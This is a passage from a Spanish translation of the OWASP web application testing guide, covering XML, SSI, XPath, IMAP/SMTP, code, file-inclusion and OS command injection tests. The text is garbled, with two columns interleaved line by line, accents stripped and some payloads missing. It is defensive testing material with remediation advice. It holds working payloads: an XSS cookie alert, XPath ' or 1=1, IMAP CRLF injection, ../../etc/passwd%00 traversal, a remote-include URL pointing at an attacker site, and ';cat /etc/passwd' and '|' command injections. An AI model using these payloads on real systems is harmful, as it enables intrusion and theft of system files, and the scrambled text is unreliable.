como WebScarab. Tambin es importante comprobar la misma inyeccin con
peticiones HTTP GET y POST. Los resultados anteriores de la inyeccin, en una
ventana emergente que contiene los valores de la cookie.
Resultado esperado:
El cdigo HTML de index2.php donde los valores del email se ubican:
<input class=inputbox type=text name=email size=40

[email protected] />
El cdigo HTML posterior a la inyeccin:
En este caso, el evaluador necesita encontrar una manera de inyectar el cdigo <input class=inputbox type=text name=email size=40
fuera de la etiqueta <input> as como: [email protected]><script>alert(document.cookie)</script>
<input class=inputbox type=text name=email size=40

[email protected]> MALICIOUS CODE  - Esta secuencia de
caracteres se interpreta como el inicio/final de un comentario. As que al
inyectar uno de ellos en el parmetro de nombre de usuario:
Si & no est codificado con & se puede usar para probar una inyeccin
XML.
Username = foo<userid>0</userid><mail>[email protected]
Herramientas
XML Injection Fuzz Strings (from wfuzz tool) -
https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/XML.txt
En este caso la base de datos XML final es:
<?xml version=1.0 encoding=ISO-8859-1?> Referencias
<users> Libros Blancos
<user> Alex Stamos: Attacking Web Services -

http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-
<username>gandalf</username> Attacking_Web_Services.ppt
<password>!c3</password> Gregory Steuck, XXE (Xml eXternal Entity) attack,

http://www.securityfocus.com/archive/1/297714
<userid>0</userid>
Pruebas de inyeccin de SSI (OTG-INPVAL-009)
</user>
Resumen
<user>
Los servidores web suelen dar a los desarrolladores la posibilidad de
<username>Stefan0</username> aadir pequeas piezas de cdigo dinmico dentro de pginas HTML
estticas, sin tener que lidiar con todos los derechos de los lenguajes del
<password>w1s3c</password> servidor o del cliente. Esta caracterstica es encarnada cuando el servidor
incluye (SSI). En la prueba de inyeccin SSI, probamos si es posible
<userid>500</userid> inyectar en los datos de la aplicacin que sern interpretados por
mecanismos del SSI. Una explotacin exitosa de esta vulnerabilidad
permite a un atacante inyectar cdigo en pginas HTML o incluso realizar
ejecucin remota de cdigos.
</user>
<user>
Server-Side Includes son directivas que el servidor web analiza antes de
servir la pgina al usuario. Representan una alternativa para escribir
programas CGI o incrustar cdigo utilizando lenguajes de scripting del
<password>Un6R34kb!e</password> puesto que las directivas SSI son fciles de entender y, al mismo tiempo,
bastante potentes, por ejemplo, se puede obtener el contenido de los
archivos y ejecutar comandos del sistema.
para imprimir la hora actual, Cmo probar


La primera cosa que se debe hacer cuando se prueba mediante la tcnica
de Caja Negra, es encontrar si el servidor web admite realmente
directivas SSI. A menudo, la respuesta es s, ya que el soporte de SSI es
bastante comn. Para saberlo slo necesitamos descubrir qu tipo de
servidor web se ejecuta en nuestro objetivo, utilizando tcnicas de
para incluir el resultado de un script CGI. recopilacin de informacin clsica.

Si tenemos xito o no en el descubrimiento de esta pieza de informacin,

podramos adivinar si el SSI es compatible solo con mirar el contenido del
sitio web de destino. Si contiene archivos .shtml, entonces el SSI es
probablemente compatible, ya que esta extensin se utiliza para
identificar las pginas que contienen estas directivas.
para incluir el contenido de un archivo o lista de archivos en un directorio,
Desafortunadamente, el uso de la extensin shtml no es obligatoria, as
que si no se ha encontrado ningn archivo shtml, no significa
 necesariamente que el objetivo no es propenso a ataques de inyeccin
SSI.
El siguiente paso consiste en determinar si un ataque de inyeccin SSI es

para incluir el resultado de un comando del sistema. posible y, si es as, cules son los puntos de entrada que podemos utilizar
para inyectar el cdigo malicioso.
Entonces, si el soporte de SSI del servidor web est habilitado, el servidor

analizar estas directivas. En la configuracin predeterminada, por lo La actividad de prueba necesaria para hacer esto es exactamente la
general, la mayora de servidores web no permiten el uso de la directiva misma que utiliz para probar otras vulnerabilidades de inyeccin de
exec para ejecutar comandos del sistema. cdigo. En particular, tenemos que encontrar cada pgina donde el
usuario puede ingresar algn tipo de datos, y comprobar si la aplicacin
est validando correctamente esos datos enviados. Si la desinfeccin es
insuficiente, tenemos que probar si podemos proporcionar datos que van
Como en toda situacin de una mala validacin de entrada, los problemas a mostrarse sin modificarse (por ejemplo, en un mensaje de error o una
surgen cuando el usuario de una aplicacin web puede proporcionar publicacin en un foro). Adems de los datos suministrados por el
datos que hacen que la aplicacin o el servidor web se comporten de usuario comn, los vectores de entrada que deben ser considerados
manera imprevista. Con respecto a la inyeccin SSI, el atacante podra siempre son los contenidos de encabezados de solicitudes y cookies
aportar datos que, si son ingresados por la aplicacin (o tal vez HTTP, ya que pueden ser fcilmente falsificados.
directamente por el servidor) en una pgina generada dinmicamente, se
puede analizar como una o ms directivas SSI.
Una vez que tenemos una lista de potenciales puntos de inyeccin,

podemos comprobar si los datos se validan correctamente y luego
Se trata de una vulnerabilidad muy similar a una vulnerabilidad de averiguar dnde se almacenan los datos proporcionados. Tenemos que
inyeccin clsica de lenguaje para script. Una mitigacin es que el asegurarnos que podemos inyectar los caracteres utilizados en las
servidor web debe configurarse para permitir SSI. Por otro lado, las directivas SSI:

215
Si tenemos acceso al cdigo fuente de la aplicacin, fcilmente podemos

< ! # = / . - > and [a-zA-Z0-9] averiguar:
[1] Si se usan directivas SSI, el servidor web va a tener el soporte SSI

activo. Hacer una inyeccin de SSI es, por lo menos, un problema
Para comprobar si la validacin es insuficiente, podemos ingresar, por potencial que debe investigarse.
ejemplo, una cadena como la siguiente en un formulario de entrada:
[2] Donde se manejan los datos ingresados por el usuario, el contenido de
las cookies y los encabezados HTTP. La lista completa de vectores de
entrada puede determinarse rpidamente.


[3] Cmo se manejan los datos ingresados, qu tipo de filtro se realiza,
qu caracteres no permiten pasar la aplicacin y cuntos tipos de
codificacin se consideran.
Esto es similar a las pruebas de vulnerabilidad XSS utilizando Al dar estos pasos se trata, ms que nada, de utilizar grep para encontrar
las palabras clave correctas dentro del cdigo fuente (directivas SSI,
variables del entorno CGI, asignacin de variables que implican ingreso
de datos del usuario, las funciones de filtro y dems).
<script>alert(XSS)</script>
Herramientas
Web Proxy Burp Suite: portswigger.net
Si la aplicacin es vulnerable, la directiva se inyecta y ser interpretada Paros: parosproxy.org

por el servidor la prxima vez que se utilice la pgina, as como el
contenido del archivo de contraseas estndar de Unix. OWASP WebScarab
String searcher: grep: gnu.org
La inyeccin puede realizarse tambin en los encabezados HTTP, si la

aplicacin web va a utilizar esos datos para construir una pgina
generada dinmicamente: Referencias
Libros Blancos
GET / HTTP/1.0
Apache Tutorial: Introduction to Server Side Includes: apache.org
Referer: 

Apache: Module mod_include: apache.org
User-Agent: 

Apache: Security Tips for Server Configuration: apache.org
Header Based Exploitation: cgisecurity.net
SSI Injection instead of JavaScript Malware:

jeremiahgrossman.blogspot.com
IIS: Notes on Server-Side Includes (SSI) syntax: blogs.iis.net
Pruebas de inyeccin de XPath (OTG-INPVAL-010)

216
Resumen
XPath es un lenguaje que ha sido diseado y desarrollado, sobre todo,
<users>
para dirigirse a las piezas de un documento XML. En la prueba de
inyeccin XPath, probamos si es posible inyectar la sintaxis de XPath en
<user>
una solicitud interpretada por la aplicacin, permitiendo a un atacante
ejecutar consultas XPath controladas por el usuario. Cuando se explota
con xito, esta vulnerabilidad podra permitir a un atacante eludir
mecanismos de autenticacin o informacin sin la debida autorizacin. <password>!c3</password>
<account>admin</account>
Las aplicaciones web utilizan constantemente bases de datos para </user>

almacenar y acceder a los datos que necesitan para sus operaciones.
Histricamente, las bases de datos relacionales han sido, en gran medida, <user>
la tecnologa ms comn para el almacenamiento de datos, pero, en los
ltimos aos, hemos sido testigos de una creciente popularidad de las <username>Stefan0</username>
bases de datos que organizan los datos mediante el lenguaje XML.
<password>w1s3c</password>
<account>guest</account>
Tal como las bases de datos relacionales se acceden a travs del lenguaje
SQL, las bases de datos XML utilizan XPath como su lenguaje de consulta </user>
estndar.
<user>
Ya que, desde un punto de vista conceptual, XPath es muy similar a SQL
en sus propsitos y usos, un resultado interesante es que los ataques de <password>Un6R34kb!e</password>
inyeccin XPath siguen la misma lgica que los ataques de inyeccin SQL.
En algunos aspectos, XPath es incluso ms poderoso que el SQL estndar,
ya que todo su poder est ya presente en sus especificaciones, mientras
que un gran nmero de tcnicas que pueden utilizarse en un ataque de
inyeccin SQL depende de las caractersticas del dialecto SQL usado por Una consulta XPath que devuelve la cuenta cuyo username es "gandalf" y la
la base de datos de destino. contrasea es "! c3" sera la siguiente:
string(//user[username/text()=gandalf and
Esto significa que los ataques de inyeccin XPath pueden ser mucho ms password/text()=!c3]/account/text())
adaptables y ubicuos. Otra de las ventajas de un ataque de inyeccin
XPath es que, a diferencia del SQL, no se aplica ningn ACL ya que nuestra
consulta puede acceder a todas las partes del documento XML.
Si la aplicacin no filtra correctamente los datos introducidos por el usuario,

Cmo probar el evaluador ser capaz de inyectar cdigo XPath e interferir en el resultado de
la consulta. Por ejemplo, el evaluador podra introducir los siguientes valores:
El patrn de ataque XPath fue publicado por primera vez por Amit Klein [1] y
es muy similar a la habitual inyeccin de SQL. Para obtener una primera
comprensin del problema, imaginemos una pgina de inicio de sesin que Username: or 1 = 1
gestiona la autenticacin para una aplicacin en la que el usuario debe
Password: or 1 = 1
introducir su nombre de usuario y contrasea.
Supongamos que nuestra base de datos est representada por el siguiente

archivo XML:

217
Se ve bastante familiar, no? Utilizando estos parmetros, la consulta se La tcnica de inyeccin IMAP/SMTP es ms eficaz si el servidor de correo
convierte en: no es directamente accesible desde el Internet. Donde una comunicacin
completa con el servidor de correo de acceso restringido sea posible, se
recomienda realizar pruebas directas.
string(//user[username/text()= or 1 = 1 and password/text()= or
1 = 1]/account/text())
Una inyeccin IMAP/SMTP permite acceder a un servidor de correo que,

de otra manera, no sera directamente accesible desde Internet. En
algunos casos, estos sistemas internos no tienen el mismo nivel de
seguridad y rigurosidad en la infraestructura que se aplica a los
Como en un ataque de inyeccin SQL comn, hemos creado una consulta servidores web de acceso frontal. Por lo tanto, los resultados de los
que siempre se evala como verdadera, lo que significa que la aplicacin servidores de correo pueden ser ms vulnerables a ataques por parte de
autenticar al usuario incluso si no ha proporcionado un nombre de usuarios finales (vea el esquema presentado a continuacin).
usuario o una contrasea.
Y como en un ataque de inyeccin SQL comun, con la inyeccin XPath, el

primer paso es insertar una comilla sencilla (') en el campo que vamos a
probar, introducir un error de sintaxis en la consulta y as comprobar si la
aplicacin devuelve un mensaje de error.
Si no hay ningn conocimiento acerca de los detalles internos de datos

XML, y si la aplicacin no proporciona mensajes de error tiles que nos
ayuden a la reconstruccin de su lgica interna, es posible realizar un
ataque de inyeccin ciega de XPath, cuyo objetivo es reconstruir toda la
estructura de datos. La tcnica es similar a la inyeccin de SQL basada en
la inferencia, ya que el mtodo consiste en inyectar el cdigo que crea una
consulta que devuelve un bit de informacin. La inyeccin ciega de XPath
se explica ms detalladamente por Amit Klein en el documento de
referencia.
Referencias
Libros Blancos
Amit Klein: Blind XPath Injection: packetstorm.foofus.com
XPath 1.0 specifications: w3.org
Pruebas de inyeccin de IMAP/SMTP (OTG-INPVAL-011)
Resumen
Esta amenaza afecta a todas las aplicaciones que se comunican con La figura 1 muestra el flujo de trfico visto generalmente al utilizar
servidores de correo (IMAP/SMTP), generalmente aplicaciones de tecnologas de webmail. Los pasos 1 y 2 son el usuario interactuando con el
webmail. El objetivo de esta prueba es verificar la capacidad de inyectar cliente de correo web, mientras que el paso 3 es el evaluador evadiendo al
comandos IMAP/SMTP arbitrarios en los servidores de correo, debido a cliente webmail e interactuando directamente con los servidores de correo de
que el ingreso de datos no est correctamente desinfectado. acceso restringido (back-end).

218
Esta tcnica permite una amplia variedad de acciones y ataques. Las

posibilidades dependen del tipo y mbito de la inyeccin y la tecnologa
del servidor de correo que se est probando.
Algunos ejemplos de ataques con la tcnica de inyeccin IMAP/SMTP son:
Explotacin de vulnerabilidades en el protocolo IMAP/SMTP. Evasin de

restricciones de la aplicacin.
Evasin del proceso anti-automatizacin.
Fugas de informacin
Relevo/SPAM
Cmo probar En este ejemplo, el parmetro de "mailbox" se prueba manipulando todas

las solicitudes con el parmetro siguiente:
Los patrones estandar de ataque son:
Identificacin der los parmetros vulnerables. http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46

106&startMessage=1
Entendimiento del flujo de informacin y estructura de despliegue del
cliente.
Inyeccin de comandos IMAP/SMTP.
Los siguientes ejemplos pueden usarse:
Identifique los parmetros vulnerables Asigne un valor null al parametro:
Para poder detectar los parmetros vulnerables, el evaluador tiene que

analizar la capacidad de la aplicacin en el manejo de datos de entrada. http://<webmail>/src/read_body.php?mailbox=&passed_id=46106&st
Las pruebas de validacin de ingreso de datos requieren que el evaluador artMessage=1
enve solicitudes falsas o maliciosas al servidor y analice la respuesta. En
una aplicacin segura, la respuesta debe ser un error con alguna accin
correspondiente que le indica al cliente que algo ha salido mal. En una
aplicacin vulnerable, la solicitud podra ser procesada por la aplicacin Sustituya el valor con uno aleatorio:
de acceso restringido que responder con un mensaje de respuesta
"HTTP 200 OK".
http://<webmail>/src/read_body.php?mailbox=NOTEXIST&passed_i
d=46106&startMessage=1
Es importante tener en cuenta que las solicitudes enviadas deben

coincidir con la tecnologa que se est probando. Enviar cadenas de
Aada otros valores al parmetro:
inyeccin SQL para Microsoft SQL server cuando se utiliza un servidor
MySQL dar como resultado falsos positivos. En este caso, enviar
comandos IMAP maliciosos es el modus operandi ya que IMAP es el http://<webmail>/src/read_body.php?mailbox=INBOX
protocolo subyacente que se est probando. PARAMETER2&passed_id=46106&startMessage=1
Los parmetros especiales de IMAP que se deben utilizar son: Aada caracteres especiales no standar (i.e.: \, , , @, #, !, |):

219
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=4
http://<webmail>/src/view_header.php?mailbox=INBOX%22&passed
6106&startMessage=1
_id=46105&passed_ent_id=0
Elimine el parmetro:
http://<webmail>/src/read_body.php?passed_id=46106&startMessage En este caso, la respuesta de la aplicacin podra ser:

=1
ERROR: Bad or malformed request.
uery: SELECT INBOX
Server responded: Unexpected extra arguments to Select

El resultado final de la prueba anterior da al evaluador tres situaciones
posibles:
S1 - La aplicacin devuelve un cdigo/mensaje de error. La situacin S2 es ms difcil de probar con xito. El probador debe usar
inyeccin ciega de comandos para determinar si el servidor es vulnerable.
S2 - La aplicacin no devuelve un cdigo/mensaje de error, pero no
realiza la operacin solicitada.
S3 - La aplicacin no devuelve un cdigo/mensaje de error, y realiza la Por otro lado, la ltima situacin (S3) no es relevante en esta seccin.
operacin solicitada normalmente.
Resultado esperado:
Las situaciones S1 y S2 representan una inyeccin IMAP/SMTP exitosa.
Lista de parmetros vulnerables.

El objetivo de un atacante es recibir la respuesta de S1, ya que es un
indicador de que la aplicacin es vulnerable a la inyeccin y posterior Funcionalidad afectada.
manipulacin.
Tipo de inyeccin posible (IMAP/SMTP).
Supongamos que un usuario recupera los encabezados de correo

electrnico al usar la siguiente solicitud HTTP: Entienda la estructura de flujo y despliegue de datos del cliente
Despus de identificar todos los parmetros vulnerables (por ejemplo,

http://<webmail>/src/view_header.php?mailbox=INBOX&passed_id= "passed_id"), el evaluador necesita determinar qu nivel de inyeccin es
46105&passed_ent_id=0 posible y luego disear un plan de prueba para explotar an ms la
aplicacin.
En este caso de prueba, hemos detectado que el parmetro de la

Un atacante podra modificar el valor del parmetro INBOX al inyectar el aplicacin "passed_id" es vulnerable y se utiliza en la siguiente peticin:
carcter (%22 usando codificacin URL):
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46
225&startMessage=1

220
Inyeccin de comandos IMAP/SMTP
Al utilizar el siguiente caso de prueba (cuando proporciona un valor alfabtico Una vez que el evaluador ha identificado los parmetros vulnerables y ha
y se requiere un valor numrico): analizado el contexto en el que se ejecutan, la siguiente etapa es explotar
la funcionalidad.
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=te
st&startMessage=1
Esta etapa tiene dos posibles resultados:
[1] La inyeccin es posible en un estado no autenticado: la funcionalidad

afectada no requiere autenticar al usuario. Los comandos (IMAP)
inyectados disponibles estn limitados a: CAPABILITY, NOOP,
generar el siguiente mensaje de error:
AUTHENTICATE, LOGIN y LOGOUT.
ERROR : Bad or malformed request. [2] La inyeccin slo es posible en un estado autenticado: la explotacin
exitosa requiere que el usuario est plenamente autenticado antes de que
Query: FETCH test:test BODY[HEADER] la prueba pueda continuar.
En cualquier caso, la estructura tpica de una inyeccin IMAP/SMTP es la

siguiente:
En este ejemplo, el mensaje de error devolvi el nombre del comando
ejecutado y los parmetros correspondientes.
Encabezado: finalizacin del comando esperado;
En otras situaciones, el mensaje de error ( "not controlled", no controlado Cuerpo: inyeccin del nuevo comando;
por la aplicacin) contiene el nombre del comando ejecutado, pero leer el
RFC adecuado (vea la seccin de "Referencia") le permitir al evaluador Pie: inicio del comando esperado.
entender qu otros comandos pueden ser ejecutados.
Es importante recordar que, para ejecutar un comando IMAP/SMTP, el

Si la aplicacin no devuelve mensajes de error descriptivos, el probador comando anterior debe terminar con la secuencia CRLF (0%d%0a).
debe analizar la funcionalidad afectada para deducir todos los posibles
comandos (y parmetros) asociados con las funciones mencionadas.
Supongamos que en la etapa 1 ("Identificando parmetros vulnerables"),

el atacante detecta que el parmetro "message_id" en la siguiente peticin
Por ejemplo, si un parmetro vulnerable ha sido detectado en la es vulnerable:
funcionalidad de crear un buzn de correo, es lgico asumir que el
comando IMAP afectado es "CREATE". Segn el RFC, el comando CREATE
acepta un parmetro que especifica el nombre del buzn a crear. http://<webmail>/read_email.php?message_id=4791
Resultado esperado:
Supongamos tambin que el resultado del anlisis realizado en la etapa 2

("Entendiendo la estructura de flujo y despliegue de datos del cliente") ha
Listado de los comandos afectados de IMAP/SMTP. identificado el comando y los argumentos asociados con este parmetro
como:
Tipo, valor y nmero de los parmetros esperados por los comandos
IMAP/SMTP afectados.

221
http://www.webappsec.org/projects/articles/121106.pdf
FETCH 4791 BODY[HEADER]
Pruebas de inyeccin de cdigo (OTG-INPVAL-012)
Resumen
En este escenario, la estructura de inyeccin IMAP sera:
Esta seccin describe cmo un evaluador puede comprobar si es posible
introducir cdigo en una pgina web y ejecutarlo con el servidor web.
http://<webmail>/read_email.php?message_id=4791
BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101
FETCH 4791
En la prueba de inyeccin de cdigo, un evaluador enva informacin que
es procesada por el servidor web como cdigo dinmico o como un
archivo incluido. Estas pruebas pueden dirigirse a varios motores de
secuencias de scripting del servidor, como ASP o PHP. Una correcta
validacin de la entrada y prcticas de codificacin seguras deben
Lo que generara los siguientes comandos: emplearse para protegerse de estos ataques.
???? FETCH 4791 BODY[HEADER]

Cmo probar
V100 CAPABILITY
V101 FETCH 4791 BODY[HEADER]
Pruebe las vulnerabilidades de inyeccin PHP
Utilizando la cadena de consulta, el evaluador puede inyectar cdigos (en

este ejemplo, una URL maliciosa) para ser procesados como parte del
Donde: archivo incluido:
Header = 4791 BODY[HEADER]

Resultado esperado:
Body = %0d%0aV100 CAPABILITY%0d%0a
Footer = V101 FETCH 4791

http://www.example.com/uptime.php?pin=http://www.example2.com/
packx1/cs.jpg?&cmd=uname%20-a
Resultado esperado:
Inyeccin arbitraria de comandos IMAP/SMTP

La URL es aceptada como un parmetro de la pgina PHP, que ms tarde
utilizar el valor en un archivo incluido.
Referencias
Libros Blancos Pruebas de Caja Gris
RFC 0821 http://www.ietf.org/rfc/rfc0821.txt. Pruebe las vulnerabilidades de inyeccin ASP
RFC 3501 http://www.ietf.org/rfc/rfc3501.txt. Examine el cdigo ASP en busca de informacin ingresada por el usuario
en funciones de ejecucin. El usuario puede ingresar los comandos en el
Vicente Aguilera Daz: MX Injection: Capturing and Exploiting Hidden Mail campo de entrada de datos? Aqu, el cdigo ASP almacena la informacin
Servers - en un archivo y luego lo ejecuta:

222
Reviewing Code for OS Injection
<%
Pruebas para determinar la inclusin de documentos locales
If not isEmpty(Request( Data ) ) Then
Resumen
Dim fso, f
La vulnerabilidad de inclusin de documentos permite al atacante incluir un
User input Data is written to a file named data.txt documento, normalmente explotando un mecanismo de inclusin de
documento dinmica implementado en la aplicacin objetivo. La
Set fso = CreateObject(Scripting.FileSystemObject)
vulnerabilidad ocurre debido al uso de datos ingresados por el usuario sin una
apropiada validacin.
Set f = fso.OpenTextFile(Server.MapPath( data.txt ), 8, True)
f.Write Request(Data) & vbCrLf

Esto puede conducir a algo como mostrar el contenido del archivo, pero
f.close
dependiendo de la gravedad, tambin puede llevar a:
Set f = nothing
Set fso = Nothing

Ejecucin de cdigo en el servidor web.
Ejecucin de cdigo en el lado del cliente como JavaScript que puede

conducir a otros ataques tales como cross site scripting (XSS).
Data.txt is executed
Negacin de servicio (DoS).
Despliegue de informacin sensible.
Else
%> La inclusin de archivos locales (tambin conocida como LFI) es el

proceso de incluir archivos, que ya estn presentes localmente en el
<form> servidor, a travs de la explotacin de las vulnerabilidades en los
procedimientos de insercin implementados en la aplicacin. Esta
<input name=Data /><input type=submit name=Enter Data /> vulnerabilidad se produce, por ejemplo, cuando una pgina recibe, como
datos, la ruta del archivo que debe estar incluida y este dato no ha sido
</form> correctamente desinfectado, permitiendo que caracteres de salto de
directorio (como dot-dot-slash) sean inyectados. Aunque la mayora de
<% ejemplos apuntan a scripts PHP vulnerables, debemos tener en cuenta
que tambin es comn en tecnologas como JSP, ASP y otras.
End If
%>)))
Cmo probar
Cmo la LFI ocurre cuando los caminos para "incluir" declaraciones no se

desinfectan correctamente, en un enfoque de pruebas de Caja Negra,
debemos buscar scripts que tomen los nombres de archivos como
Referencias parmetros.
Security Focus - http://www.securityfocus.com
Insecure.org - http://www.insecure.org
Considere el siguiente ejemplo:
Wikipedia - http://www.wikipedia.org

223
http://vulnerable_host/preview.php?file=example.html http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
Este caso parece el lugar perfecto para buscar LFI. Si un atacante tiene Referencias
suficiente suerte, y en vez de seleccionar la pgina apropiada de la matriz
por su nombre, la secuencia de comandos incluye directamente el Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion
parmetro de entrada, es posible incluir archivos arbitrarios en el
servidor. Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion
La tpica prueba del concepto sera cargar el archivo passwd: Remediacin
La solucin ms eficaz para eliminar las vulnerabilidades de inclusin de

http://vulnerable_host/preview.php?file=../../../../etc/passwd archivo es evitar pasar datos ingresados por el usuario a cualquier
filesystem/framework API. Si esto no es posible, la aplicacin puede
mantener una lista blanca de archivos que pueden ser incluidos por la
pgina y luego utilizar un identificador (por ejemplo, el nmero de ndice)
para tener acceso al archivo seleccionado.
Si se cumplen las condiciones mencionadas, un atacante vera algo como lo

siguiente:
Cualquier solicitud que contenga un identificador invlido ser
rechazada; de esta manera, no hay ninguna superficie de ataque para que
root:x:0:0:root:/root:/bin/bash
usuarios malintencionados puedan manipular la ruta.
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
Pruebas para la inclusin remota de archivos
alex:x:500:500:alex:/home/alex:/bin/bash
Resumen
margo:x:501:501::/home/margo:/bin/bash
La vulnerabilidad de inclusin de archivos permite que un atacante
incluya un archivo, generalmente, aprovechando un mecanismo de
...
"inclusin dinmica de archivos" implementado en la aplicacin de
Muy a menudo, incluso cuando existe dicha vulnerabilidad, su explotacin es un destino. La vulnerabilidad se produce debido al uso de datos
poco ms compleja. Considere el siguiente fragmento del cdigo: suministrados por el usuario sin una validacin adecuada.
<?php include/.include($_GET[filename]..php); ?>

Esto puede llevar a que se muestre el contenido del archivo, pero
dependiendo de la gravedad, tambin puede llevar a:
En el caso de la sustitucin simple con nombres de archivo arbitrarios no Ejecucin de cdigo en el servidor web.
funcionara, ya que se aade el sufijo 'php'. Para evitarlo, se utiliza una tcnica con
terminadores null bytes. Cmo %00 representa efectivamente el final de la cadena, Ejecucin de cdigo en el lado del cliente como JavaScript que nos llevara a
se ignorar cualquier carcter despus de este byte especial. La siguiente solicitud otros ataques tales como cross site scripting (XSS).
tambin devolver una lista de atacante de los atributos bsicos de los usuarios:
Negacin de servicio (DoS).
Publicacin de informacin sensitiva.

224
Remediacin
La inclusin remota de archivos (tambin conocida como RFI) es el La solucin ms eficaz para eliminar las vulnerabilidades de inclusin de
proceso de incluir archivos remotos a travs de la explotacin de las archivo es evitar pasar datos enviados por el usuario a cualquier
vulnerabilidades en los procedimientos de insercin implementados en la filesystem/framework API. Si esto no es posible, la aplicacin puede
aplicacin. Esta vulnerabilidad se produce, por ejemplo, cuando una mantener una lista blanca de archivos que pueden ser incluidos por la
pgina recibecomo datos, la ruta del archivo que debe estar incluida y pgina y luego utilizar un identificador (por ejemplo, el nmero de ndice)
este dato no ha sido correctamente desinfectado, permitiendo que una para tener acceso al archivo seleccionado. Cualquier solicitud que
URL externa se inyecte. Aunque la mayora de ejemplos apuntan a scripts contenga un identificador invlido ser rechazada, de esta manera no hay
PHP vulnerables, debemos tener en cuenta que tambin es comn en ninguna superficie de ataque para que usuarios malintencionados puedan
tecnologas como JSP, ASP y otras. manipular la ruta.
Cmo probar Pruebas de inyeccin de comandos (OTG-INPVAL-013)
Puesto que la RFI ocurre cuando las rutas para "incluir" declaraciones no estn Resumen
correctamente desinfectadas, en un enfoque de pruebas de Caja Negra debemos
buscar scripts que tomen los nombres de archivos como parmetros. Considere el Este artculo describe cmo probar una aplicacin en busca de inyeccin de
siguiente ejemplo PHP: comandos del sistema operativo. El evaluador intentar inyectar un comando de
sistema operativo a travs de una solicitud HTTP a la aplicacin.
$incfile = $_RE UEST[file];
include($incfile..php); La Inyeccin de comandos del sistema operativo es una tcnica utilizada a travs de
una interfaz web para ejecutar comandos del sistema operativo en un servidor web.
El usuario provee comandos del sistema operativo a travs de una interfaz web para
ejecutar comandos del sistema operativo. Cualquier interfaz que no est
correctamente desinfectada est sujeta a esta debilidad. Con la habilidad de ejecutar
En este ejemplo la ruta de acceso se extrae de la solicitud HTTP y no se comandos en el sistema operativo, el usuario puede subir programas maliciosos o
realiza una validacin de datos ingresados (por ejemplo, comprobando el incluso obtener contraseas. La inyeccin de comandos del sistema operativo es
ingreso contra una lista blanca), as que este fragmento de cdigo resulta prevenible cuando la seguridad se acenta durante el diseo y desarrollo de las
vulnerable a este tipo de ataque. Considere de hecho la siguiente URL: aplicaciones.
Cmo probar
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicou
s_page Al observar un archivo en una aplicacin web, el nombre del archivo a menudo se
muestra en la URL. Perl permite canalizar datos de un proceso hacia una
instruccin abierta. El usuario simplemente puede aadir el smbolo Pipe "|" en el
final del nombre del archivo.
En este caso el archivo remoto va a ser incluido y cualquier cdigo que contenga se
ejecutara en el servidor. Ejemplo de las URL antes de ser alteradas:
http://sensitive/cgi-bin/userData.pl?doc=user1.txt
Referencias
Libros Blancos
Remote File Inclusion: projects.webappsec.org Ejemplo de la URL modificada:
Wikipedia: Remote File Inclusion: en.wikipedia.org

http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|

225
POST http://www.example.com/public/doc HTTP/1.1

Esto ejecutar el comando /bin/ls.
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1)

Gecko/20061010 FireFox/2.0
Aadiendo un punto y coma al final de una URL para una. pgina PHP seguida de
un comando del sistema operativo, ejecutar el comando. % 3B que est Accept:
codificado para url y se decodifica como punto y coma. text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;
Ejemplo:
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
Keep-Alive: 300
Ejemplo Proxy-Connection: keep-alive
Consideremos el caso de una aplicacin que contiene un conjunto de documentos Referer: http://127.0.0.1/WebGoat/attack?Screen=20
que pueden navegarse en Internet. Si usted enciende WebScarab, puede obtener un
HTTP POST como el siguiente: Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=

POST http://www.example.com/public/doc HTTP/1.1
Content-length: 33
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1)
Gecko/20061010 FireFox/2.0
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8
,image/png,*/*;q=0.5 Si la aplicacin no validase la solicitud, podemos obtener el siguiente resultado:
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-length: 33
En la solicitud post, vemos cmo la aplicacin recupera la documentacin

pblica. Ahora podemos probar si es posible agregar un comando del
sistema operativo para inyectar en el HTTP POST. Haga lo siguiente:

226
Exec Results for cmd.exe /c type C:\httpd\public\doc\Doc=Doc1.pdf+|+Dir

c:\
Referencias
Output...
Libros Blancos
Il volume nellunit C non ha etichetta.
securityfocus.com
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
Remediacin
18/10/2006 00:27 2,675 Dir_Prog.txt
Desinfeccin
18/10/2006 00:28 3,887 Dir_ProgFile.txt
Los formularios de datos y la URL deben desinfectarse de caracteres no
16/11/2006 10:43
vlidos. Una "lista negra" de caracteres es una opcin, pero puede ser
Doc difcil pensar en todos los caracteres contra los que hay que validar.
Tambin pueden haber algunos que no han sido descubiertos todava.
11/11/2006 17:25 Para validar la entrada del usuario se debe crear una "lista blanca" que
contenga slo caracteres permitidos. Caracteres que faltaron, as como las
Documents and Settings amenazas desconocidas, deben ser eliminados de esta lista.
25/10/2006 03:11
I386
Permisos
14/11/2006 18:51
La aplicacin web y sus componentes deben ejecutarse bajo permisos
h4ck3r estrictos que no permitan la ejecucin de comandos del sistema
operativo. Trate de verificar todas estas informaciones para probar desde
30/09/2005 21:40 25,934 un punto de vista de Caja Gris.
OWASP1.JPG
03/11/2006 18:29 Pruebe la saturacin de bfer (OTG-INPVAL-014)
Prog
Resumen
18/11/2006 11:20
